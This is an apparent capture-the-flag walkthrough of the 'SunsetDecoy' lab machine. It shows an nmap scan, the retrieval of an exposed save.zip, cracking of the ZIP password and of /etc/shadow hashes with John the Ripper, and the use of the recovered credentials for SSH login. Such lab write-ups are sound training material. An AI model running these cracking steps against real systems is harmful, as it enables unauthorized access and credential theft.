SunsetDecoy
Reconnaissance
Nmap scan
Let's perform an nmap scan to find the open ports and the services running on the open ports.
$ nmap -T5 -Pn -A -p- 192.168.241.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-09 02:33 EDT
Warning: 192.168.241.85 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.241.85
Host is up (0.069s latency).
Not shown: 64145 closed tcp ports (conn-refused), 1388 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a9:b5:3e:3b:e3:74:e4:ff:b6:d5:9f:f1:81:e7:a4:4f (RSA)
| 256 ce:f3:b3:e7:0e:90:e2:64:ac:8d:87:0f:15:88:aa:5f (ECDSA)
|_ 256 66:a9:80:91:f3:d8:4b:0a:69:b0:00:22:9f:3c:4c:5a (ED25519)
80/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip
|_
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 313.86 seconds
There are two open ports:
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
Let's visit the web page for the target.
This save.zip file had also showed up in the Nmap scan.
Once we have downloaded the file, we can try to unzip it using the unzip utility.
$ unzip save.zip
Archive: save.zip
[save.zip] etc/passwd password:
It requires a password. Fortunately there is a way to crack ZIP passwords.
Cracking ZIP password
Before we try to crack the password, we have to convert the ZIP file into a file format required by John the Ripper.
We can do so using the zip2john utility.
$ zip2john save.zip > save.hash
Now we can crack the password using John the Ripper or john.
$ john save.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
manuel (save.zip)
1g 0:00:00:00 DONE 2/3 (2024-08-09 13:21) 7.142g/s 541450p/s 541450c/s 541450C/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now that we know that the password for the ZIP file is manuel, we can unzip it.
$ unzip save.zip
Archive: save.zip
[save.zip] etc/passwd password:
inflating: etc/passwd
inflating: etc/shadow
inflating: etc/group
inflating: etc/sudoers
inflating: etc/hosts
extracting: etc/hostname
Exploitation
Hash cracking
Since we have the shadow file, we can crack the hashes.
$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
server (296640a3b825115a47b68fc44501c828)
We have the following credentials
| User | Password |
|---|---|
| 296640a3b825115a47b68fc44501c828 | server |
Using these credentials, we can login to the target via SSH.